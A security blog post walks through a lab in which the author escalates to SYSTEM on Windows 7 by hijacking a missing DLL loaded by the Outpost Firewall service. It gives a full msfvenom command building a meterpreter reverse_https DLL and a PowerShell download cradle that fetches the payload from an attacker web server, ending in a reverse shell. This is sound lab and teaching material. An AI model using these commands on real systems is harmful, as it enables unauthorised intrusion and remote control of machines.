Hijacking Dynamic Link Libraries

 Another way to elevate privileges on Windows is to find and exploit dynamic link libraries. These are loaded by applications when they start. In order to find the .dll Windows will follow a search order. If the .dll file cannot be found at a path, Windows will try the next path. If we can find a path to a .dll which does not contain the .dll and we have write access to the directory it is supposed to be in, we can place malicious code there in its place. This malicious code will then be executed when the application starts and Windows searches for the .dll This will give us a system shell if the service starts as local system.


In this lab, I started with local admin credentials to a Windows 7 machine. I could remote desktop into the box.




The two tools I needed to find suitable .dll binaries were already installed on the victim machine. These are tools provided by sysinternals - Process Explorer and Process Monitor. I first of all started Process Explorer as an administrator and then added a new column to show the usernames. This was useful as I could now look for processes which were running as NT_AUTHORITY\SYSTEM and from third parties. I found several of these and then started to look more carefully at them.



I first of all double clicked on the Service_KMS.exe process and found its path.



I then found it in file explorer, but when I checked the security permissions, I found that user accounts did not have write, modify or full control permissions so this would not be an option to exploit.



I then checked the outpost.exe process and this time discovered that user accounts had full control access! I then found the service (OutpostFirewall) and the display name (Outpost Firewall Service) for this process using Process Explorer.




I checked the permissions and saw that they matched what I had previously found.




I then started Process Monitor as as administrator and set up the filters to search for the process name, NAME NOT FOUND in the results and dll too.



Next, I killed the outpost.exe process which was running as SYSTEM and then restarted it by using an administrator command prompt with the command net start OutpostFirewall




I soon saw lots of dynamic link libraries which were being loaded when the process started. Some of these were not found at their original path.



Some of these dynamic link libraries were starting as NT_AUTHORITY\SYSTEM so they would be suitable for an attack.


I used msfvenom to create a payload sudo msfvenom -p windows/meterpreter/reverse_https LHOST=172.16.48.10 LPORT=4444 -f dll > UxTheme.dll



A meterpreter/reverse_tcp shell is more reliable but less stealthy.


We can see in the following screenshot that this .dll does not exist yet...



I then started a simple web-server using sudo python -m http.server 80 in the directory on my attacking machine where the malicious .dll file was kept.



Since the objective of this lab was to elevate privileges from a low level user to a System user, I logged out of the local admin remote desktop session before logging back in with a standard user account.


I then used a Powershell cradle to download the malicious file to the correct directory using powershell -c iex (New-Object Net.WebClient).DownloadFile('http://172.16.48.10/UxTheme.dll', 'C:\Program Files (x86)\Agnitum\Outpost Firewall 1.0\UxTheme.dll')



Now, it was a simple matter of starting a handler in msfconsole and then waiting for the outpost.exe process to restart. I forced this restart and soon had access to a reverse meterpreter shell :-)










Comments

Post a Comment

Popular posts from this blog

Hacking Year of the Owl (thm)

Image
NOTE: I am currently migrating my writeups and cybersecurity notes to  my github This writeup can be found in a new and shiny form at puzz00 year of the owl writeup  --- The Year of the Owl is a machine by MuirlandOracle on tryhackme   We start by using nmap to scan the TCP ports. The results show us that this appears to be a windows machine because we see netbios on port 139, SMB on 445 and winrm on its default port of 5985. We take a closer look but don't find much of interest. Since SMB is running, we can try a null session attack, but this does not work. We cannot connect using rpcclient without valid creds, either. Web app enumeration does not reveal anything of interest, so I have not included it in this post. We need to find another way to enumerate usernames and potential passwords. We can try common UDP ports using nmap. The results come back in the open|filtered state which is not very useful. We do not know if the ports are open or if the UDP datagrams are bei...
Read more

Hacking Reset (thm)

Image
  NOTE: I am currently migrating my writeups and notes regarding hacking aka pentesting to  my github - my reset writeup can be found here     Reset is a fun active directory based box on thm   We start with an nmap scan which shows us that the target machine is probably a domain controller as it has port 88 open. Domain controllers typically have this port open since they are involved in kerberos based authentication. We also find some useful data regarding the domain and machine we are attacking. In addition, we find port 5985 is open - this is of interest as it is a port which is used by winrm which in turn is a service which could potentially give us a remote session on the target machine if we find valid credentials.    Since smb is being used, we start our enumeration of the haystack machine by taking a look at it - can we get a null session and thereby enumerate useful data? We find that we can. The IPC$ share has read access to non-authentica...
Read more

Simple CTF (tryhackme)

Image
  I started with a quick SYN scan of all ports on the target machine. The -T4 flag speeds up the scan from the default -T3 and the -p- flag specifies all ports to be scanned. As can be seen from the results, ports 21, 80 and 2222 had services listening on them. It was now time to take a closer look at those three ports, so I used the -A flag with nmap to find out more. The anonymous login allowed using FTP on port 21 seemed interesting, so I connected to it in passive mode using the username anonymous and no password ftp -p 10.10.179.144 The connection was successful, but I could not get any listing of the directories or files using ls so I turned my attention to port 80 by navigating to the home page in my browser. I was greeted with a default Apache "It Works!" page. I then checked the robots.txt file and fired up a directory buster. I used gobuster as it is fast, but dirb, dirbuster or a home-grown one would also do. The /simple directory stood out as interesting, so I na...
Read more